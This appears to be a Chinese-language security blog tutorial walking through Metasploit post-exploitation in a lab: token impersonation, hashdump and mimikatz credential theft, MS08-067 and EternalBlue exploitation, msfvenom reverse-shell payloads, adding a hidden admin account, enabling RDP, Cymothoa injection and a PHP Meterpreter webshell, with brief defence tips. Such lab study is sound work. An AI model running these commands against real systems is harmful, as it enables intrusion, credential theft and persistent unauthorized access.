[系统安全] 三十八.Metasploit后渗透技术信息收集、权限提权和功能模块详解及防护建议
一.MSF漏洞利用
二.后渗透攻击之信息收集
1.进程迁移
2.系统命令
3.文件系统命令
三.后渗透攻击之权限提升
1.权限查询
2.利用WMIC实战MS16-032本地溢出漏洞
3.令牌窃取提权
4.Hash攻击提权
四.后渗透攻击之移植自定义漏洞利用模块
1.传统MS08-067漏洞利用
2.移植github的MS17-010漏洞模块
3.深度提权
五.后渗透攻击之后门
1.操作系统Cymothoa后门
2.Web后门
六.总结
作者的github资源:
逆向分析:
https://github.com/eastmountyxz/
SystemSecurity-ReverseAnalysis
网络安全:
https://github.com/eastmountyxz/
NetworkSecuritySelf-study
一.MSF漏洞利用
二.后渗透攻击之信息收集
1.进程迁移
meterpreter > run post/windows/manage/migrate
[*] Running module against DX1XMSTMBBJR3FZ
[*] Current server process: notepad.exe (3292)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 6020
[+] Successfully migrated to process 6020
2.系统命令
3.文件系统命令
三.后渗透攻击之权限提升
1.权限查询
2.利用WMIC实战MS16-032本地溢出漏洞
3.令牌窃取提权
在假冒令牌攻击中需要使用Kerberost协议。所以在使用假冒令牌前,先来介绍Kerberost协议。Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。Kerberos的工作机制如下图所示。
前面我们通过MS17-010已经实现权限提升,但已经是System级权限。但某些情况下可能是Test权限,需要进一步提升。
(1) 查看已经获得的权限。
getuid
(2) 提权。
getsystem
发现提权失败了。
(3) 列出可用的token。
use incognito
list_tokens -u
可以看到有两种类型的令牌:
一种是Delegation Tokens,也就是授权令牌,它支持交互式登录,例如可以通过远程桌面登录访问);
一种是Impersonation Tokens,也就是模拟令牌,它是非交互的会话。令牌的数量其实取决于Meterpreter Shell的访问级别。
由上图可以看到,我们已经获得了一个系统管理员hacker的授权令牌,现在就要假冒这个令牌,成功后即可拥有它的权限。
从输出的信息可以看到分配的有效令牌包含 XI....NQ\hacker
,其中XI…NQ是目标机的主机名,hacker表示登录的用户名。接下来在incognito中调用impersonate token命令假冒ge用户进行攻击,具体方法如下图所示。
impersonate token XI...NQ\\hacker
shell
whoami
注意:在输入HOSTNAME\USERNAME时需要两个反斜杠(\\)。运行成功后在Meterpreter Shell下运行shell命令并输入whoami,可以看到现在就是假冒的那个hacker系统管理员了。
4.Hash攻击提权
Hashdump Meterpreter脚本可以从目标机器中提取Hash值,破解Hash值即可获得登录密码。计算机中的每个账号(如果是域服务器,则为域内的每个账号)的用户名和密码都存储在 sam
文件中,当计算机运行时,该文件对所有账号进行锁定,要
想访问就必须有"系统级”账号。所以要使用该命令就必须进行权限的提升。
(1) hashdump抓取密码
在Meterpreter Shell提示符下输入hashdump命令,将导出目标机sam数据库中的Hash。注意,在非system权限下会出现失败,报错 “priv_passwd get_sam_hashes: Operation failed: The parameter is incorrect.”
hashdump
注意,在非SYSTEM权限下远行hashdump命令会失败,而且在Windows 7、Windows Server 2008下有时候会出现进程移植不成功等问题。权限不够需要提升为system权限。查看权限可以进入目标机的 cmd 运行 whoami /groups 来查看。
(2) 如果报错,则提权并将进程转移至具有SYSTEM权限的进程。
ps
getsystem
migrate 664
(3) 导出目标机sam数据库中的Hash。
hashdump
(4) smart hashdump导出用户的Hash值。
另一个模块smart hashdump的功能更为强大,可以导出域所有用户的Hash,其工作流程如下:
检查Meterpreter会话的权限和目标机操作系统类型。
检查目标机是否为域控制服务器。
首先尝试从注册表中读取Hash,不行的话再尝试注入LSASS进程。
命令为:
run windows/gather/smart_hashdump
(5) 通过暴力或者彩虹列表对抓取到的hash进行破解。
https://www.cmd5.com/
说明:在SAM文件中保存了两个不同的口令信息,LAN Manager(LM)口令散列算法和更加强大的加密NT版。LM就是NT口令文件的弱点。上图中左边为LM版本口令,右边是NTLM版本,1001代表管理员。
(6) 使用Quarks PwDump抓取密码
PwDump是一款Win32环境下的系统授权信息导出工具,目前没有任何一款工具可以导出如此全面的信息、支持这么多的OS版本,而且相当稳定。它目前可以导出:
Local accounts NT/LM hashes + history 本机NT/LM哈希+历史登录记录。
Domain accounts NT/LM hashes + history域中的NT/LM哈希+历史登录记录。
Cached domain password缓存中的域管理密码。
Bitlocker recovery information使用Bitlocker的恢复功能后遗留的信息(恢复密码&关键包)。
运行该程序如上图所示,默认显示帮助信息,其参数含义如下所示。
-dhl:导出本地哈希值。
-dhdc:导出内存中的域控哈希值。
-dhd:导出域控哈希值,必须指定NTDS文件。
-db:导出Bitlocker信息, 必须指定NTDS文件。
-nt:导出NTDS文件。
-hist:导出历史信息,可选项。
-t:可选导出类型,默认导出John类型。
-o:导出文件到本地。
这里使用该工具抓取本机Hash值并导出,可以输入如下命令导出本地哈希值到当前目录的1.txt。此外,该工具还可以配合Ntdsutil工具导出域控密码。
QuarksPwDump.exe -dhl -o 1.txt
(7) 使用WCE抓取密码。
Windows Credentials Editor (WCE)是一款功能强大的Windows平台内网渗透工具,它能列举登录会话,并且可以添加、改变和删除相关凭据,如LM/NTHash。这些功能在内网渗透中能够被利用,例如在Windows平台上执行绕过Hash操作或者从内存中获取NT/LM Hash (也可以从交互式登录、服务、远程桌面连接中获取)以用于进一步的攻击,而且体积也非常小,是内网渗透时的必备工具。不过必须在管理员权限下使用,还要注意杀毒工具的免杀。
首先输入upload命令将wce.exe.上传到目标主机C盘中,然后在目标机Shell下输入wce -w命令,便会成功提取系统明文管理员的密码,如图所示。
另一款工具是Mimikatz,作为一款轻量级后渗透测试工具,它可以帮助安全测试人员轻松抓取系统密码,此外还包括能够通过获取的Kerberos登录凭据,绕过支持RestrictedAdmin模式下Windows 8或Windows Server 2012的远程终端(RDP)等功能。后续实战中我们遇到再详细介绍。
同时,Mimikatz还能在PowerShell中执行,实现偷窃、注入凭证、伪造Kerberos票证创建,以及很多其他的功能。
输入samdump命令查看samdump的可用选项抓取Hash。
mimikatz_command -f samdump::hashes
四.后渗透攻击之移植自定义漏洞利用模块
1.传统MS08-067漏洞利用
首先,简单看看传统的漏洞利用方法。由于之前MS17-010漏洞已经复现过,所以这里使用MS08-067来加深读者MSF用法的印象。
第一步,扫描靶机Windows XP系统是否开启445端口。
- nmap -sS 192.168.44.135
第二步,打开msfconsole。
- msfconsole
第三步,查询漏洞模块。
- search ms08-067
第四步,利用漏洞并设置参数。
- use exploit/windows/smb/ms08_067_netapi
利用永恒之蓝漏洞 - set payload windows/shell_reverse_tcp
设置payload - set RHOSTS 192.168.44.135
设置受害主机IP - set LHOST 192.168.44.138
设置本机IP地址 - set RPORT 445
设置端口445
第五步,查看配合参数。
- show options
注意,默认target是自动的。
第六步,利用漏洞。
- exploit或run
此时可能会报错“Exploit comleted, but no session was created”。这是需要根据靶机版本选择合适的targets,例如这里是靶机系统为:Windows XP,则只需加一行如下命令:
- set target 2
最终漏洞利用成功。
输出后渗透相关命令,可以进行剩余操作。
2.移植github的MS17-010漏洞模块
2017年5月12日,WannaCry蠕虫通过永恒之蓝MS17-010漏洞在全球范围大爆发,感染大量的计算机。WannaCry勒索病毒全球大爆发,至少150个国家、30万名用户中招,造成损失达80亿美元,已影响金融、能源、医疗、教育等众多行业,造成严重的危害。
WannaCry是一种“蠕虫式”勒索病毒软件,由不法分子利用NSA泄露方程式工具包的危险漏洞“EternalBlue”(永恒之蓝)进行传播。该蠕虫感染计算机后会向计算机中植入敲诈者病毒,导致电脑大量文件被加密。
WannaCry利用Windows系统的SMB漏洞获取系统的最高权限,该工具通过恶意代码扫描开放445端口的Windows系统。被扫描到的Windows系统,只要开机上线,不需要用户进行任何操作,即可通过SMB漏洞上传WannaCry勒索病毒等恶意程序。
WannaCry勒索病毒主要行为是传播和勒索。
传播:利用基于445端口的SMB漏洞MS17-010(永恒之蓝)进行传播
勒索:释放文件,包括加密器、解密器、说明文件、语言文件等;加密文件;设置桌面背景、窗体信息及付款账号等。
虽然MS17-010漏洞利用模块Metasploit已经集成,但经过测试后被发现不支持某些操作系统,比如Windows 2003,但网上有支持的渗透脚本。并且真实的案例中,尤其是0day漏洞,我们需要自己构建shellcode攻击脚本,所以这里我们讲述一种普适性更强的漏洞利用方法,即移植漏洞模块。
作者之前的文章也自己实现过。
Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
Windows漏洞利用之构建ROP链绕过DEP并获取Shell
(1) 下载漏洞利用模块至本地或自己编写相关Ruby脚本。
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
运行结果如下图所示:
(2) 将 Eternalblue-Doublepulsar-Metasploit 文件夹下的rb文件复制到指定目录。
- /usr/share/metasploit-framework/modules/exploits/windows/smb
在Metasploit中,了解漏洞利用代码模块存储的文件夹位置非常重要,不仅有助于寻找不同模块的所在位置,也有助于读者理解Metasploit框架的基本用法。
(3) MSF重新加载全部文件。
- reload_all
(4) 搜索该脚本文件。
- search eternalblue_doublepulsar
(5) 使用MSF自带的Msfvenom命令生成DLL。
将MS17-010漏洞利用代码移植到Metasploit框架后,就可以实现渗透操作。但在攻击之前需要先生成一个DLL文件,如果目标主机是32位操作系统则生成32位的DLL,同理生成64位的DLL。这里涉及免杀,也可以使用PowerShell下的Empire生成DLL,后面文章介绍。
64位:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.44.138
lport=4444 -f dll -o ~/eternal11.dll
32位:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.44.138
-f dll -o ~/eternal11.dll
WannaCry和永恒之蓝详细原理,推荐大家阅读我的逆向分析文章。
(6) 使用use命令加载该模块及漏洞配置。
- use exploit/windows/smb/eternalblue_doublepulsar
(7) 漏洞利用。
- exploit
至此,我们攻击成功。得到一个Meterpreter会话,如下图所示。
防御建议:
开启系统防火墙
关闭445、139等端口连接
开启系统自动更新,下载并更新补丁,及时修复漏洞
为计算机安全最新补丁,微软已经发布补丁MS17-010修复该漏洞,读者也可以通过第三方工具下载补丁
安装安全软件,开启主动防御进行拦截查杀
如非服务需要,建议把高危漏洞的端口都关闭,比如
135、137、138、139、445、3389等
开启防火墙,及时备份重要文件
3.深度提权
接着我们需要进一步对目标XP主机进行深度提权。
(1) 增加普通用户并提升至管理员权限。
增加普通用户
net user hacker 123456 /add提升管理员权限
net localgroup administrators hacker /add
Windows DOM用户常用命令如下:
net user abcd 1234 /add
新建一个用户名为abcd,密码为1234的帐户,默认为user组成员
net user abcd /del
将用户名为abcd的用户删除
net user abcd /active:no
将用户名为abcd的用户禁用
net user abcd /active:yes
激活用户名为abcd的用户
net user abcd
查看用户名为abcd的用户的情况
net localgroup administrators abcd /add
将abcd账户给予管理员权限
此时被攻击的主机新增“hacker”管理员如下图所示:
(2) 开启远程连接3389端口并进行远程操作。
# 开启远程连接
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
# 查看网络端口
netstat -an
# 远程连接
rdesktop 192.168.44.135
作者扫描发现3389端口已经开启,也可以直接利用。
(3) 输入命令连接远程IP地址,并输入我们创建好的hacker用户名及密码。
- rdesktop 192.168.44.135
输入创建的用户名hacker和密码123456回车,弹出提示框点击OK,稍等就会成功登录XP系统。
这是本文的深度提权知识。
(4) 最后,我们还需要将新建的用户名hacker删除。
写到这里,整个实验就讲解完毕。
五.后渗透攻击之后门
在完成提升权限后,我们就应该建立后门(backdoor),以维持对目标主机的控制权。这样,即使我们所利用的漏洞被补丁程序修复,还可以通过后门继续控制目标系统。
简单的说,后门就是一个留在目标主机上的软件,它可以使攻击者随时连接到目标主机。大多数情况下,后门是一个运行在目标主机上的隐藏进程,它运行一个普通的、未经授权的用户控制计算机。
1.操作系统Cymothoa后门
后门泛指绕过目标系统安全控制体系的正规yoghurt认证过程,从而维持我们
对目标系统的控制权,以及隐匿控制行为的方法。Meterpreter提供了Persistence等后渗透攻击模块,通过再目标主机上安装自动、永久服务等方式,来长久地控制目标机。这里主要介绍Cymothoa后门,还有Persistence后门,APT样本中也有各种各样的后门。
Cymothoa是一个后门工具,可以将ShellCode注入到现有进程(插进程)。借助这种注入手段,它能够把ShellCode伪装成常规程序。只要进程存在,后门就会有效,所以一般选择一些自其服务的进程来注入,例如web服务mysql、apache 等。其后门所拥有的权限和注入的进程权限是相同的。当拿下目标shell后就可以使用cymothoa添加后门。
Cymothoa所注入的后门程序应当能够与被注入的程序(进程)共存,以避免被管理和维护人员怀疑。将ShellCode注入其他进程,还有另一个优势:即使目标系统的安全防护工具能够监视可执行程序的完整性,只要它不检测内存,就发现不了(插进程)后门程序的进程。
(1) 查看程序的PID。
- Linux:ps -aux
- Windows:tasklist
(2) 查看ShellCode编号。
Cymothoa有很多的后门 shellcode,这些shellcode可以通过-S参数来查看。
- cymothoa -S
(3) 生成后门程序。
成功渗透目标主机后,就可以把Cymothoa的可执行程序复制到目标主机上,生成后门程序。如选择PID为903的进程为宿主进程,选用第一类ShellCode,指定Payload服务端口号为4444。
- cymothoa -p 903 -s 1 -y 4444
遗憾这里失败,后续文章会更深入的讲解后门实战知识。
在实战中你需要对目标机上传编译好的Cymothoa进行后门注入,成功则如下图所示。
(4) NC连接后门程序。
注入成功后,我们通过攻击机器 kali 来使用 nc 连接,因为我第一次使用的 nvv 参数,会显示所有的详细信息,所以内容比较咋。可以看到 ip 已经是目标机的 ip,身份是 root。
- nc -nvv IP地址 端口号
这时把msf关闭,然后再次通过nc连接,查看ip和当前用户,该后门成功被利用。
注意,该后门注入系统的进程,反弹的是该进程相应的权限(并不需要root),当然,因为后门是以运行中的程序为宿主,所以只要进程关闭或目标主机重启,后门就会停止运行。
2.Web后门
Web后门泛指Webshell,其实就是一段网页代码,包括ASP、PHP、JSP等。由于这些代码都运行在服务器端,攻击者通过这段精心设计的代码,在服务端进行一些危险的操作以后去敏感信息,或者通过渗透操作提权,从而获得服务器的控制权。这也是攻击者控制服务器的方法,比入侵攻击更加隐蔽。
Web后门能给攻击者提供非常多的功能,比如执行命令、浏览文件、辅助提权、执行SQL语句、反弹Shell等。Windows操作系统下比较出名的是“中国菜刀”,还有开源的工具如蚁剑、冰蝎、Cknife等,均支持Mac、Linux和Windows。之前的文章也多次分享过一句话+工具的用法。
在Kali下用得比较多的是Weevely,其功能很强大,使用http头进行指令传输,唯一的缺点是只支持PHP。其实Metasploit框架中也自带了Web后面,配合Meterpreter使用时,功能更强大。接下来我们简单用Meterpreter实现一个Web后门(PHP Meterpreter后门、ASP Meterpreter后门)。
在Metasploit中,有一个名为PHP Meterpreter的Payload,利用这个模块可以创建具有Meterpreter功能的PHP Webshell。在攻击中使用Metasploit PHP Shell的步骤如下:
- 使用msfvenom创建一个webshell.php
- 上传webshell.php到目标服务器
- 运行Metasploit multi-handler开始监听
- 访问webshell.php页面
- 获取反弹的Metasploit Shell
(1) 通过Metasploit的Msfvenom工具会做PHP Meterpreter。
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.44.138 -f raw > shuteer.php
参数-p用于设置Payload,参数-f用于设置输出文件格式,生成的文件如下所示。
打开shutter.php文件如下图所示,这是一个webshell。
(2) 将shutter.php文件上传到目标服务器。这里是虚拟机,就直接复制到 var/www/html 目录。
(3) 开启msfconsole连接PHP后门。
通过MSF我们成功反弹服务器,最后利用Meterpreter进行后渗透操作。
注意,这里大家也可以尝试蚁剑、菜刀、冰蝎等工具。也建议大家好好思考:
- 如何有效检测Webshell
- 如何结合深度学习实现Webshell的自动化生成和绕WAF
- 如何结合深度学习自动化检测Webshell
六.总结
写到这里,这篇文章就介绍完毕,希望您喜欢,本文主要是学习徐焱老师他们的《Web安全攻防渗透测试实战指南》,同时结合作者之前的漏洞利用及WannaCry逆向经验总结。文章非常长,作者也花费了很长时间,但相信只要你认真读完并复现,肯定会有收获,尤其是对MSF的理解。
一.MSF漏洞利用
二.后渗透攻击之信息收集
1.进程迁移
2.系统命令
3.文件系统命令三.后渗透攻击之权限提升
1.权限查询
2.利用WMIC实战MS16-032本地溢出漏洞
3.令牌窃取提权
4.Hash攻击提权四.后渗透攻击之移植自定义漏洞利用模块
1.传统MS08-067漏洞利用
2.移植github的MS17-010漏洞模块
3.深度提权五.后渗透攻击之后门
1.操作系统Cymothoa后门
2.Web后门
学安全两年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。
再次祝大家节日快乐,贵阳加油!
(By:Eastmount 2022-09-10 夜于地球 )
参考文章如下,感谢这些大佬。
[1] https://www.rapid7.com/products/metasploit/download/
[2] 《Web安全攻防渗透测试实战指南》徐焱、李文轩、王东亚老师
[3] https://blog.csdn.net/Eastmount
[4] https://www.cnblogs.com/coderge/p/13746810.html
[5] https://blog.csdn.net/fageweiketang/article/details/86580213
[6] https://blog.csdn.net/fageweiketang/article/details/86665518
[7] https://www.cnblogs.com/-qing-/p/10519363.html
[8] https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
前文回顾(下面的超链接可以点击喔):
[系统安全] 三十八.Metasploit后渗透技术信息收集、权限提权和功能模块详解及防护建议